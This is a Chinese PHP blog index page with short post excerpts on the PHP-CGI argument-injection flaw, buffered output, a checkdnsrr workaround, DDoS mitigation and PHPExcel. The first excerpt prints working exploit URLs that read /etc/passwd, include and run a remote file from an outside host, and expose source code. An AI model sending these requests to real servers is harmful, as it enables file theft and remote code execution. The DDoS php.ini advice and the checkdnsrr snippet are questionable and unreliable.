防止PHP CGI远程任意代码执行漏洞一例 05 May 2012 3:04 Saturday by 小屋 浏览(262)

 

又发现了一例PHP挂载CGI的环境下,远程执行任意代码的漏洞。

主要原因是:PHP做了防范,CGI在SAPI下无法使用-r,-f等直接执行命令的参数。

例子,

http://demo.com/do.php?-dauto_prepend_file%3d/etc/passwd+-n

http://demo.com/do.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://sjolzy.cn/a.txt

http://demo.com/do.php?-s

受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。

阅读全文>>

PHP实时输出 04 May 2012 21:22 Friday by小屋 浏览(183)

老生长谈了。。纯备忘

对于运行时间较长的PHP程序来说可能都需要即时输出内容来查看运行情况。

header(“Content-type:text/html;charset=utf-8″);

#设置执行时间不限时 
set_time_limit(0);

#清除并关闭缓冲,输出到浏览器之前使用这个函数。
ob_end_clean();

#控制隐式缓冲泻出,默认off,打开时,对每个 print/echo 或者输出命令的结果都发送到浏览器。
ob_implicit_flush(1);

例,

阅读全文>>

php window平台模拟checkdnsrr函数HP 06 September 2011 21:49 Tuesday by小屋 浏览(610)

PHP的自带checkdnsrr函数只在linux平台有效。使用惯了在window平台不能使用的话给兼容性带来麻烦。

因此写了个checkdnsrr模拟函数在window平台环境使用。

if (!function_exists('checkdnsrr ')) {
    function checkdnsrr($host, $type) {
        if(!empty($host) && !empty($type)) {
            @exec('nslookup -type=' . escapeshellarg($type) . ' ' . escapeshellarg($host), $output);
            foreach ($output as $k => $line) {
                if(eregi('^' . $host, $line)) {
                    return true;
                }
            }
        }
        return false;

阅读全文>>

解决PHP代码恶意DDOS攻击 09 June 2011 16:52 Thursday by小屋 浏览(942)

使用PHP代码实现的DDOS攻击会导致带宽被占用,变成卡B。

处理办法是:

修改php.ini文件

1) "disable_functions"改成gzinflate,默认是放空
2) ”allow_url_fopen“设为Off
3) php_sockets.dll 把这个模块打开

阅读全文>>

PHP 生成excel|好用强大的php excel类库 07 June 2011 0:00 Tuesday by小屋 浏览(2936)

做Magento的订单导出Excel功能,找了这个php的excel类 :PHPExcel。

PHPExcel是强大的 MS Office Excel 文档生成类库,基于Microsoft's OpenXML ,支持普通xls,Excel2007,pdf,csv,html等

官网:http://phpexcel.codeplex.com/

比较大条的一个类库,官方最新版已经蹦到7.多M大了。找了个民间精简版1.多M的。

下面是这个PHP excel类库 的一些使用方法要点备忘。来自互联网。

//设置PHPExcel类库的include path
set_include_path('.'. PATH_SEPARATOR .
'D:\Zeal\PHP_LIBS' . PATH_SEPARATOR .
get_include_path());

/**

阅读全文>>